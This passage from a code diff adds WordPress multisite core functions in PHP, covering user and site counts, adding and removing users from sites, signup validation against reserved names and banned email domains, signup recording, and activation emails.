+				if ( is_object( $details ) && $details->archived == 0 && $details->spam == 0 && $details->deleted == 0 ) {
+					$ret = $blog;
+					if ( get_user_meta( $user_id , 'primary_blog', true ) != $blog_id )
+						update_user_meta( $user_id, 'primary_blog', $blog_id );
+					if ( !get_user_meta($user_id , 'source_domain', true) )
+						update_user_meta( $user_id, 'source_domain', $blog->domain );
+					break;
+				}
+			}
+		} else {
+			return;
+		}
+		return $ret;
+	} else {
+		return $primary;
+	}
+}
+
+/**
+ * The number of active users in your installation.
+ *
+ * The count is cached and updated twice daily. This is not a live count.
+ *
+ * @since MU (3.0.0)
+ * @since 4.8.0 The $network_id parameter has been added.
+ *
+ * @param int|null $network_id ID of the network. Default is the current network.
+ * @return int Number of active users on the network.
+ */
+function get_user_count( $network_id = null ) {
+	return get_network_option( $network_id, 'user_count' );
+}
+
+/**
+ * The number of active sites on your installation.
+ *
+ * The count is cached and updated twice daily. This is not a live count.
+ *
+ * @since MU (3.0.0)
+ * @since 3.7.0 The $network_id parameter has been deprecated.
+ * @since 4.8.0 The $network_id parameter is now being used.
+ *
+ * @param int|null $network_id ID of the network. Default is the current network.
+ * @return int Number of active sites on the network.
+ */
+function get_blog_count( $network_id = null ) {
+	return get_network_option( $network_id, 'blog_count' );
+}
+
+/**
+ * Get a blog post from any site on the network.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int $blog_id ID of the blog.
+ * @param int $post_id ID of the post you're looking for.
+ * @return WP_Post|null WP_Post on success or null on failure
+ */
+function get_blog_post( $blog_id, $post_id ) {
+	switch_to_blog( $blog_id );
+	$post = get_post( $post_id );
+	restore_current_blog();
+
+	return $post;
+}
+
+/**
+ * Adds a user to a blog.
+ *
+ * Use the {@see 'add_user_to_blog'} action to fire an event when users are added to a blog.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int    $blog_id ID of the blog you're adding the user to.
+ * @param int    $user_id ID of the user you're adding.
+ * @param string $role    The role you want the user to have
+ * @return true|WP_Error
+ */
+function add_user_to_blog( $blog_id, $user_id, $role ) {
+	switch_to_blog($blog_id);
+
+	$user = get_userdata( $user_id );
+
+	if ( ! $user ) {
+		restore_current_blog();
+		return new WP_Error( 'user_does_not_exist', __( 'The requested user does not exist.' ) );
+	}
+
+	/**
+	 * Filters whether a user should be added to a site.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param bool|WP_Error $retval  True if the user should be added to the site, false
+	 *                               or error object otherwise.
+	 * @param int           $user_id User ID.
+	 * @param string        $role    User role.
+	 * @param int           $blog_id Site ID.
+	 */
+	$can_add_user = apply_filters( 'can_add_user_to_blog', true, $user_id, $role, $blog_id );
+
+	if ( true !== $can_add_user ) {
+		restore_current_blog();
+
+		if ( is_wp_error( $can_add_user ) ) {
+			return $can_add_user;
+		}
+
+		return new WP_Error( 'user_cannot_be_added', __( 'User cannot be added to this site.' ) );
+	}
+
+	if ( !get_user_meta($user_id, 'primary_blog', true) ) {
+		update_user_meta($user_id, 'primary_blog', $blog_id);
+		$site = get_site( $blog_id );
+		update_user_meta( $user_id, 'source_domain', $site->domain );
+	}
+
+	$user->set_role($role);
+
+	/**
+	 * Fires immediately after a user is added to a site.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param int    $user_id User ID.
+	 * @param string $role    User role.
+	 * @param int    $blog_id Blog ID.
+	 */
+	do_action( 'add_user_to_blog', $user_id, $role, $blog_id );
+	wp_cache_delete( $user_id, 'users' );
+	wp_cache_delete( $blog_id . '_user_count', 'blog-details' );
+	restore_current_blog();
+	return true;
+}
+
+/**
+ * Remove a user from a blog.
+ *
+ * Use the {@see 'remove_user_from_blog'} action to fire an event when
+ * users are removed from a blog.
+ *
+ * Accepts an optional `$reassign` parameter, if you want to
+ * reassign the user's blog posts to another user upon removal.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $user_id  ID of the user you're removing.
+ * @param int    $blog_id  ID of the blog you're removing the user from.
+ * @param string $reassign Optional. A user to whom to reassign posts.
+ * @return true|WP_Error
+ */
+function remove_user_from_blog($user_id, $blog_id = '', $reassign = '') {
+	global $wpdb;
+	switch_to_blog($blog_id);
+	$user_id = (int) $user_id;
+	/**
+	 * Fires before a user is removed from a site.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param int $user_id User ID.
+	 * @param int $blog_id Blog ID.
+	 */
+	do_action( 'remove_user_from_blog', $user_id, $blog_id );
+
+	// If being removed from the primary blog, set a new primary if the user is assigned
+	// to multiple blogs.
+	$primary_blog = get_user_meta($user_id, 'primary_blog', true);
+	if ( $primary_blog == $blog_id ) {
+		$new_id = '';
+		$new_domain = '';
+		$blogs = get_blogs_of_user($user_id);
+		foreach ( (array) $blogs as $blog ) {
+			if ( $blog->userblog_id == $blog_id )
+				continue;
+			$new_id = $blog->userblog_id;
+			$new_domain = $blog->domain;
+			break;
+		}
+
+		update_user_meta($user_id, 'primary_blog', $new_id);
+		update_user_meta($user_id, 'source_domain', $new_domain);
+	}
+
+	// wp_revoke_user($user_id);
+	$user = get_userdata( $user_id );
+	if ( ! $user ) {
+		restore_current_blog();
+		return new WP_Error('user_does_not_exist', __('That user does not exist.'));
+	}
+
+	$user->remove_all_caps();
+
+	$blogs = get_blogs_of_user($user_id);
+	if ( count($blogs) == 0 ) {
+		update_user_meta($user_id, 'primary_blog', '');
+		update_user_meta($user_id, 'source_domain', '');
+	}
+
+	if ( $reassign != '' ) {
+		$reassign = (int) $reassign;
+		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $user_id ) );
+		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $user_id ) );
+
+		if ( ! empty( $post_ids ) ) {
+			$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_author = %d WHERE post_author = %d", $reassign, $user_id ) );
+			array_walk( $post_ids, 'clean_post_cache' );
+		}
+
+		if ( ! empty( $link_ids ) ) {
+			$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->links SET link_owner = %d WHERE link_owner = %d", $reassign, $user_id ) );
+			array_walk( $link_ids, 'clean_bookmark_cache' );
+		}
+	}
+
+	restore_current_blog();
+
+	return true;
+}
+
+/**
+ * Get the permalink for a post on another blog.
+ *
+ * @since MU (3.0.0) 1.0
+ *
+ * @param int $blog_id ID of the source blog.
+ * @param int $post_id ID of the desired post.
+ * @return string The post's permalink
+ */
+function get_blog_permalink( $blog_id, $post_id ) {
+	switch_to_blog( $blog_id );
+	$link = get_permalink( $post_id );
+	restore_current_blog();
+
+	return $link;
+}
+
+/**
+ * Get a blog's numeric ID from its URL.
+ *
+ * On a subdirectory installation like example.com/blog1/,
+ * $domain will be the root 'example.com' and $path the
+ * subdirectory '/blog1/'. With subdomains like blog1.example.com,
+ * $domain is 'blog1.example.com' and $path is '/'.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $domain
+ * @param string $path   Optional. Not required for subdomain installations.
+ * @return int 0 if no blog found, otherwise the ID of the matching blog
+ */
+function get_blog_id_from_url( $domain, $path = '/' ) {
+	$domain = strtolower( $domain );
+	$path = strtolower( $path );
+	$id = wp_cache_get( md5( $domain . $path ), 'blog-id-cache' );
+
+	if ( $id == -1 ) // blog does not exist
+		return 0;
+	elseif ( $id )
+		return (int) $id;
+
+	$args = array(
+		'domain' => $domain,
+		'path' => $path,
+		'fields' => 'ids',
+		'number' => 1,
+	);
+	$result = get_sites( $args );
+	$id = array_shift( $result );
+
+	if ( ! $id ) {
+		wp_cache_set( md5( $domain . $path ), -1, 'blog-id-cache' );
+		return 0;
+	}
+
+	wp_cache_set( md5( $domain . $path ), $id, 'blog-id-cache' );
+
+	return $id;
+}
+
+// Admin functions
+
+/**
+ * Checks an email address against a list of banned domains.
+ *
+ * This function checks against the Banned Email Domains list
+ * at wp-admin/network/settings.php. The check is only run on
+ * self-registrations; user creation at wp-admin/network/users.php
+ * bypasses this check.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $user_email The email provided by the user at registration.
+ * @return bool Returns true when the email address is banned.
+ */
+function is_email_address_unsafe( $user_email ) {
+	$banned_names = get_site_option( 'banned_email_domains' );
+	if ( $banned_names && ! is_array( $banned_names ) )
+		$banned_names = explode( "\n", $banned_names );
+
+	$is_email_address_unsafe = false;
+
+	if ( $banned_names && is_array( $banned_names ) && false !== strpos( $user_email, '@', 1 ) ) {
+		$banned_names = array_map( 'strtolower', $banned_names );
+		$normalized_email = strtolower( $user_email );
+
+		list( $email_local_part, $email_domain ) = explode( '@', $normalized_email );
+
+		foreach ( $banned_names as $banned_domain ) {
+			if ( ! $banned_domain )
+				continue;
+
+			if ( $email_domain == $banned_domain ) {
+				$is_email_address_unsafe = true;
+				break;
+			}
+
+			$dotted_domain = ".$banned_domain";
+			if ( $dotted_domain === substr( $normalized_email, -strlen( $dotted_domain ) ) ) {
+				$is_email_address_unsafe = true;
+				break;
+			}
+		}
+	}
+
+	/**
+	 * Filters whether an email address is unsafe.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param bool   $is_email_address_unsafe Whether the email address is "unsafe". Default false.
+	 * @param string $user_email              User email address.
+	 */
+	return apply_filters( 'is_email_address_unsafe', $is_email_address_unsafe, $user_email );
+}
+
+/**
+ * Sanitize and validate data required for a user sign-up.
+ *
+ * Verifies the validity and uniqueness of user names and user email addresses,
+ * and checks email addresses against admin-provided domain whitelists and blacklists.
+ *
+ * The {@see 'wpmu_validate_user_signup'} hook provides an easy way to modify the sign-up
+ * process. The value $result, which is passed to the hook, contains both the user-provided
+ * info and the error messages created by the function. {@see 'wpmu_validate_user_signup'}
+ * allows you to process the data in any way you'd like, and unset the relevant errors if
+ * necessary.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $user_name  The login name provided by the user.
+ * @param string $user_email The email provided by the user.
+ * @return array Contains username, email, and error messages.
+ */
+function wpmu_validate_user_signup($user_name, $user_email) {
+	global $wpdb;
+
+	$errors = new WP_Error();
+
+	$orig_username = $user_name;
+	$user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) );
+
+	if ( $user_name != $orig_username || preg_match( '/[^a-z0-9]/', $user_name ) ) {
+		$errors->add( 'user_name', __( 'Usernames can only contain lowercase letters (a-z) and numbers.' ) );
+		$user_name = $orig_username;
+	}
+
+	$user_email = sanitize_email( $user_email );
+
+	if ( empty( $user_name ) )
+	   	$errors->add('user_name', __( 'Please enter a username.' ) );
+
+	$illegal_names = get_site_option( 'illegal_names' );
+	if ( ! is_array( $illegal_names ) ) {
+		$illegal_names = array(  'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' );
+		add_site_option( 'illegal_names', $illegal_names );
+	}
+	if ( in_array( $user_name, $illegal_names ) ) {
+		$errors->add( 'user_name',  __( 'Sorry, that username is not allowed.' ) );
+	}
+
+	/** This filter is documented in wp-includes/user.php */
+	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );
+
+	if ( in_array( strtolower( $user_name ), array_map( 'strtolower', $illegal_logins ) ) ) {
+		$errors->add( 'user_name',  __( 'Sorry, that username is not allowed.' ) );
+	}
+
+	if ( ! is_email( $user_email ) ) {
+		$errors->add( 'user_email', __( 'Please enter a valid email address.' ) );
+	} elseif ( is_email_address_unsafe( $user_email ) ) {
+		$errors->add( 'user_email', __( 'You cannot use that email address to signup. We are having problems with them blocking some of our email. Please use another email provider.' ) );
+	}
+
+	if ( strlen( $user_name ) < 4 )
+		$errors->add('user_name',  __( 'Username must be at least 4 characters.' ) );
+
+	if ( strlen( $user_name ) > 60 ) {
+		$errors->add( 'user_name', __( 'Username may not be longer than 60 characters.' ) );
+	}
+
+	// all numeric?
+	if ( preg_match( '/^[0-9]*$/', $user_name ) )
+		$errors->add('user_name', __('Sorry, usernames must have letters too!'));
+
+	$limited_email_domains = get_site_option( 'limited_email_domains' );
+	if ( is_array( $limited_email_domains ) && ! empty( $limited_email_domains ) ) {
+		$emaildomain = substr( $user_email, 1 + strpos( $user_email, '@' ) );
+		if ( ! in_array( $emaildomain, $limited_email_domains ) ) {
+			$errors->add('user_email', __('Sorry, that email address is not allowed!'));
+		}
+	}
+
+	// Check if the username has been used already.
+	if ( username_exists($user_name) )
+		$errors->add( 'user_name', __( 'Sorry, that username already exists!' ) );
+
+	// Check if the email address has been used already.
+	if ( email_exists($user_email) )
+		$errors->add( 'user_email', __( 'Sorry, that email address is already used!' ) );
+
+	// Has someone already signed up for this username?
+	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE user_login = %s", $user_name) );
+	if ( $signup != null ) {
+		$registered_at =  mysql2date('U', $signup->registered);
+		$now = current_time( 'timestamp', true );
+		$diff = $now - $registered_at;
+		// If registered more than two days ago, cancel registration and let this signup go through.
+		if ( $diff > 2 * DAY_IN_SECONDS )
+			$wpdb->delete( $wpdb->signups, array( 'user_login' => $user_name ) );
+		else
+			$errors->add('user_name', __('That username is currently reserved but may be available in a couple of days.'));
+	}
+
+	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE user_email = %s", $user_email) );
+	if ( $signup != null ) {
+		$diff = current_time( 'timestamp', true ) - mysql2date('U', $signup->registered);
+		// If registered more than two days ago, cancel registration and let this signup go through.
+		if ( $diff > 2 * DAY_IN_SECONDS )
+			$wpdb->delete( $wpdb->signups, array( 'user_email' => $user_email ) );
+		else
+			$errors->add('user_email', __('That email address has already been used. Please check your inbox for an activation email. It will become available in a couple of days if you do nothing.'));
+	}
+
+	$result = array('user_name' => $user_name, 'orig_username' => $orig_username, 'user_email' => $user_email, 'errors' => $errors);
+
+	/**
+	 * Filters the validated user registration details.
+	 *
+	 * This does not allow you to override the username or email of the user during
+	 * registration. The values are solely used for validation and error handling.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param array $result {
+	 *     The array of user name, email and the error messages.
+	 *
+	 *     @type string   $user_name     Sanitized and unique username.
+	 *     @type string   $orig_username Original username.
+	 *     @type string   $user_email    User email address.
+	 *     @type WP_Error $errors        WP_Error object containing any errors found.
+	 * }
+	 */
+	return apply_filters( 'wpmu_validate_user_signup', $result );
+}
+
+/**
+ * Processes new site registrations.
+ *
+ * Checks the data provided by the user during blog signup. Verifies
+ * the validity and uniqueness of blog paths and domains.
+ *
+ * This function prevents the current user from registering a new site
+ * with a blogname equivalent to another user's login name. Passing the
+ * $user parameter to the function, where $user is the other user, is
+ * effectively an override of this limitation.
+ *
+ * Filter {@see 'wpmu_validate_blog_signup'} if you want to modify
+ * the way that WordPress validates new site signups.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb   $wpdb
+ * @global string $domain
+ *
+ * @param string         $blogname   The blog name provided by the user. Must be unique.
+ * @param string         $blog_title The blog title provided by the user.
+ * @param WP_User|string $user       Optional. The user object to check against the new site name.
+ * @return array Contains the new site data and error messages.
+ */
+function wpmu_validate_blog_signup( $blogname, $blog_title, $user = '' ) {
+	global $wpdb, $domain;
+
+	$current_network = get_network();
+	$base = $current_network->path;
+
+	$blog_title = strip_tags( $blog_title );
+
+	$errors = new WP_Error();
+	$illegal_names = get_site_option( 'illegal_names' );
+	if ( $illegal_names == false ) {
+		$illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' );
+		add_site_option( 'illegal_names', $illegal_names );
+	}
+
+	/*
+	 * On sub dir installations, some names are so illegal, only a filter can
+	 * spring them from jail.
+	 */
+	if ( ! is_subdomain_install() ) {
+		$illegal_names = array_merge( $illegal_names, get_subdirectory_reserved_names() );
+	}
+
+	if ( empty( $blogname ) )
+		$errors->add('blogname', __( 'Please enter a site name.' ) );
+
+	if ( preg_match( '/[^a-z0-9]+/', $blogname ) ) {
+		$errors->add( 'blogname', __( 'Site names can only contain lowercase letters (a-z) and numbers.' ) );
+	}
+
+	if ( in_array( $blogname, $illegal_names ) )
+		$errors->add('blogname',  __( 'That name is not allowed.' ) );
+
+	/**
+	 * Filters the minimum site name length required when validating a site signup.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param int $length The minimum site name length. Default 4.
+	 */
+	$minimum_site_name_length = apply_filters( 'minimum_site_name_length', 4 );
+
+	if ( strlen( $blogname ) < $minimum_site_name_length ) {
+		/* translators: %s: minimum site name length */
+		$errors->add( 'blogname', sprintf( _n( 'Site name must be at least %s character.', 'Site name must be at least %s characters.', $minimum_site_name_length ), number_format_i18n( $minimum_site_name_length ) ) );
+	}
+
+	// do not allow users to create a blog that conflicts with a page on the main blog.
+	if ( !is_subdomain_install() && $wpdb->get_var( $wpdb->prepare( "SELECT post_name FROM " . $wpdb->get_blog_prefix( $current_network->site_id ) . "posts WHERE post_type = 'page' AND post_name = %s", $blogname ) ) )
+		$errors->add( 'blogname', __( 'Sorry, you may not use that site name.' ) );
+
+	// all numeric?
+	if ( preg_match( '/^[0-9]*$/', $blogname ) )
+		$errors->add('blogname', __('Sorry, site names must have letters too!'));
+
+	/**
+	 * Filters the new site name during registration.
+	 *
+	 * The name is the site's subdomain or the site's subdirectory
+	 * path depending on the network settings.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param string $blogname Site name.
+	 */
+	$blogname = apply_filters( 'newblogname', $blogname );
+
+	$blog_title = wp_unslash(  $blog_title );
+
+	if ( empty( $blog_title ) )
+		$errors->add('blog_title', __( 'Please enter a site title.' ) );
+
+	// Check if the domain/path has been used already.
+	if ( is_subdomain_install() ) {
+		$mydomain = $blogname . '.' . preg_replace( '|^www\.|', '', $domain );
+		$path = $base;
+	} else {
+		$mydomain = "$domain";
+		$path = $base.$blogname.'/';
+	}
+	if ( domain_exists($mydomain, $path, $current_network->id) )
+		$errors->add( 'blogname', __( 'Sorry, that site already exists!' ) );
+
+	if ( username_exists( $blogname ) ) {
+		if ( ! is_object( $user ) || ( is_object($user) && ( $user->user_login != $blogname ) ) )
+			$errors->add( 'blogname', __( 'Sorry, that site is reserved!' ) );
+	}
+
+	// Has someone already signed up for this domain?
+	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE domain = %s AND path = %s", $mydomain, $path) ); // TODO: Check email too?
+	if ( ! empty($signup) ) {
+		$diff = current_time( 'timestamp', true ) - mysql2date('U', $signup->registered);
+		// If registered more than two days ago, cancel registration and let this signup go through.
+		if ( $diff > 2 * DAY_IN_SECONDS )
+			$wpdb->delete( $wpdb->signups, array( 'domain' => $mydomain , 'path' => $path ) );
+		else
+			$errors->add('blogname', __('That site is currently reserved but may be available in a couple days.'));
+	}
+
+	$result = array('domain' => $mydomain, 'path' => $path, 'blogname' => $blogname, 'blog_title' => $blog_title, 'user' => $user, 'errors' => $errors);
+
+	/**
+	 * Filters site details and error messages following registration.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param array $result {
+	 *     Array of domain, path, blog name, blog title, user and error messages.
+	 *
+	 *     @type string         $domain     Domain for the site.
+	 *     @type string         $path       Path for the site. Used in subdirectory installations.
+	 *     @type string         $blogname   The unique site name (slug).
+	 *     @type string         $blog_title Blog title.
+	 *     @type string|WP_User $user       By default, an empty string. A user object if provided.
+	 *     @type WP_Error       $errors     WP_Error containing any errors found.
+	 * }
+	 */
+	return apply_filters( 'wpmu_validate_blog_signup', $result );
+}
+
+/**
+ * Record site signup information for future activation.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $domain     The requested domain.
+ * @param string $path       The requested path.
+ * @param string $title      The requested site title.
+ * @param string $user       The user's requested login name.
+ * @param string $user_email The user's email address.
+ * @param array  $meta       Optional. Signup meta data. By default, contains the requested privacy setting and lang_id.
+ */
+function wpmu_signup_blog( $domain, $path, $title, $user, $user_email, $meta = array() )  {
+	global $wpdb;
+
+	$key = substr( md5( time() . wp_rand() . $domain ), 0, 16 );
+
+	/**
+	 * Filters the metadata for a site signup.
+	 *
+	 * The metadata will be serialized prior to storing it in the database.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param array  $meta       Signup meta data. Default empty array.
+	 * @param string $domain     The requested domain.
+	 * @param string $path       The requested path.
+	 * @param string $title      The requested site title.
+	 * @param string $user       The user's requested login name.
+	 * @param string $user_email The user's email address.
+	 * @param string $key        The user's activation key.
+	 */
+	$meta = apply_filters( 'signup_site_meta', $meta, $domain, $path, $title, $user, $user_email, $key );
+
+	$wpdb->insert( $wpdb->signups, array(
+		'domain' => $domain,
+		'path' => $path,
+		'title' => $title,
+		'user_login' => $user,
+		'user_email' => $user_email,
+		'registered' => current_time('mysql', true),
+		'activation_key' => $key,
+		'meta' => serialize( $meta )
+	) );
+
+	/**
+	 * Fires after site signup information has been written to the database.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $domain     The requested domain.
+	 * @param string $path       The requested path.
+	 * @param string $title      The requested site title.
+	 * @param string $user       The user's requested login name.
+	 * @param string $user_email The user's email address.
+	 * @param string $key        The user's activation key.
+	 * @param array  $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
+	 */
+	do_action( 'after_signup_site', $domain, $path, $title, $user, $user_email, $key, $meta );
+}
+
+/**
+ * Record user signup information for future activation.
+ *
+ * This function is used when user registration is open but
+ * new site registration is not.
+ *
+ * @since MU (3.0.0)
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $user       The user's requested login name.
+ * @param string $user_email The user's email address.
+ * @param array  $meta       Optional. Signup meta data. Default empty array.
+ */
+function wpmu_signup_user( $user, $user_email, $meta = array() ) {
+	global $wpdb;
+
+	// Format data
+	$user = preg_replace( '/\s+/', '', sanitize_user( $user, true ) );
+	$user_email = sanitize_email( $user_email );
+	$key = substr( md5( time() . wp_rand() . $user_email ), 0, 16 );
+
+	/**
+	 * Filters the metadata for a user signup.
+	 *
+	 * The metadata will be serialized prior to storing it in the database.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param array  $meta       Signup meta data. Default empty array.
+	 * @param string $user       The user's requested login name.
+	 * @param string $user_email The user's email address.
+	 * @param string $key        The user's activation key.
+	 */
+	$meta = apply_filters( 'signup_user_meta', $meta, $user, $user_email, $key );
+
+	$wpdb->insert( $wpdb->signups, array(
+		'domain' => '',
+		'path' => '',
+		'title' => '',
+		'user_login' => $user,
+		'user_email' => $user_email,
+		'registered' => current_time('mysql', true),
+		'activation_key' => $key,
+		'meta' => serialize( $meta )
+	) );
+
+	/**
+	 * Fires after a user's signup information has been written to the database.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $user       The user's requested login name.
+	 * @param string $user_email The user's email address.
+	 * @param string $key        The user's activation key.
+	 * @param array  $meta       Signup meta data. Default empty array.
+	 */
+	do_action( 'after_signup_user', $user, $user_email, $key, $meta );
+}
+
+/**
+ * Send a confirmation request email to a user when they sign up for a new site. The new site will not become active
+ * until the confirmation link is clicked.
+ *
+ * This is the notification function used when site registration
+ * is enabled.
+ *
+ * Filter {@see 'wpmu_signup_blog_notification'} to bypass this function or
+ * replace it with your own notification behavior.
+ *
+ * Filter {@see 'wpmu_signup_blog_notification_email'} and
+ * {@see 'wpmu_signup_blog_notification_subject'} to change the content
+ * and subject line of the email sent to newly registered users.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $domain     The new blog domain.
+ * @param string $path       The new blog path.
+ * @param string $title      The site title.
+ * @param string $user_login The user's login name.
+ * @param string $user_email The user's email address.
+ * @param string $key        The activation key created in wpmu_signup_blog()
+ * @param array  $meta       Optional. Signup meta data. By default, contains the requested privacy setting and lang_id.
+ * @return bool
+ */
+function wpmu_signup_blog_notification( $domain, $path, $title, $user_login, $user_email, $key, $meta = array() ) {
+	/**
+	 * Filters whether to bypass the new site email notification.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param string|bool $domain     Site domain.
+	 * @param string      $path       Site path.
+	 * @param string      $title      Site title.
+	 * @param string      $user_login User login name.
+	 * @param string      $user_email User email address.
+	 * @param string      $key        Activation key created in wpmu_signup_blog().
+	 * @param array       $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
+	 */
+	if ( ! apply_filters( 'wpmu_signup_blog_notification', $domain, $path, $title, $user_login, $user_email, $key, $meta ) ) {
+		return false;
+	}
+
+	// Send email with activation link.
+	if ( !is_subdomain_install() || get_current_network_id() != 1 )
+		$activate_url = network_site_url("wp-activate.php?key=$key");
+	else
+		$activate_url = "http://{$domain}{$path}wp-activate.php?key=$key"; // @todo use *_url() API
+
+	$activate_url = esc_url($activate_url);
+	$admin_email = get_site_option( 'admin_email' );
+	if ( $admin_email == '' )
+		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];
+	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
+	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+
+	$user = get_user_by( 'login', $user_login );
+	$switched_locale = switch_to_locale( get_user_locale( $user ) );
+
+	$message = sprintf(
+		/**
+		 * Filters the message content of the new blog notification email.
+		 *
+		 * Content should be formatted for transmission via wp_mail().
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param string $content    Content of the notification email.
+		 * @param string $domain     Site domain.
+		 * @param string $path       Site path.
+		 * @param string $title      Site title.
+		 * @param string $user_login User login name.
+		 * @param string $user_email User email address.
+		 * @param string $key        Activation key created in wpmu_signup_blog().
+		 * @param array  $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
+		 */
+		apply_filters( 'wpmu_signup_blog_notification_email',
+			__( "To activate your blog, please click the following link:\n\n%s\n\nAfter you activate, you will receive *another email* with your login.\n\nAfter you activate, you can visit your site here:\n\n%s" ),
+			$domain, $path, $title, $user_login, $user_email, $key, $meta
+		),
+		$activate_url,
+		esc_url( "http://{$domain}{$path}" ),
+		$key
+	);
+	// TODO: Don't hard code activation link.
+	$subject = sprintf(
+		/**
+		 * Filters the subject of the new blog notification email.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param string $subject    Subject of the notification email.
+		 * @param string $domain     Site domain.
+		 * @param string $path       Site path.
+		 * @param string $title      Site title.
+		 * @param string $user_login User login name.
+		 * @param string $user_email User email address.
+		 * @param string $key        Activation key created in wpmu_signup_blog().
+		 * @param array  $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
+		 */
+		apply_filters( 'wpmu_signup_blog_notification_subject',
+			/* translators: New site notification email subject. 1: Network name, 2: New site URL */
+			_x( '[%1$s] Activate %2$s', 'New site notification email subject' ),
+			$domain, $path, $title, $user_login, $user_email, $key, $meta
+		),
+		$from_name,
+		esc_url( 'http://' . $domain . $path )
+	);
+	wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers );
+
+	if ( $switched_locale ) {
+		restore_previous_locale();
+	}
+
+	return true;
+}
+
+/**
+ * Send a confirmation request email to a user when they sign up for a new user account (without signing up for a site
+ * at the same time). The user account will not become active until the confirmation link is clicked.
+ *
+ * This is the notification function used when no new site has
+ * been requested.
+ *
+ * Filter {@see 'wpmu_signup_user_notification'} to bypass this function or
+ * replace it with your own notification behavior.
+ *
+ * Filter {@see 'wpmu_signup_user_notification_email'} and
+ * {@see 'wpmu_signup_user_notification_subject'} to change the content
+ * and subject line of the email sent to newly registered users.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $user_login The user's login name.
+ * @param string $user_email The user's email address.
+ * @param string $key        The activation key created in wpmu_signup_user()
+ * @param array  $meta       Optional. Signup meta data. Default empty array.
+ * @return bool
+ */
+function wpmu_signup_user_notification( $user_login, $user_email, $key, $meta = array() ) {
+	/**
+	 * Filters whether to bypass the email notification for new user sign-up.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param string $user_login User login name.
+	 * @param string $user_email User email address.
+	 * @param string $key        Activation key created in wpmu_signup_user().
+	 * @param array  $meta       Signup meta data. Default empty array.
+	 */
+	if ( ! apply_filters( 'wpmu_signup_user_notification', $user_login, $user_email, $key, $meta ) )
+		return false;
+
+	$user = get_user_by( 'login', $user_login );
+	$switched_locale = switch_to_locale( get_user_locale( $user ) );
+
+	// Send email with activation link.
+	$admin_email = get_site_option( 'admin_email' );
+	if ( $admin_email == '' )
+		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];
+	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
+	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+	$message = sprintf(
+		/**
+		 * Filters the content of the notification email for new user sign-up.
+		 *
+		 * Content should be formatted for transmission via wp_mail().
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param string $content    Content of the notification email.
+		 * @param string $user_login User login name.
+		 * @param string $user_email User email address.
+		 * @param string $key        Activation key created in wpmu_signup_user().
+		 * @param array  $meta       Signup meta data. Default empty array.
+		 */
+		apply_filters( 'wpmu_signup_user_notification_email',
+			__( "To activate your user, please click the following link:\n\n%s\n\nAfter you activate, you will receive *another email* with your login." ),
+			$user_login, $user_email, $key, $meta
+		),
+		site_url( "wp-activate.php?key=$key" )
+	);
+	// TODO: Don't hard code activation link.
+	$subject = sprintf(
+		/**
+		 * Filters the subject of the notification email of new user signup.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param string $subject    Subject of the notification email.
+		 * @param string $user_login User login name.
+		 * @param string $user_email User email address.
+		 * @param string $key        Activation key created in wpmu_signup_user().
+		 * @param array  $meta       Signup meta data. Default empty array.
+		 */
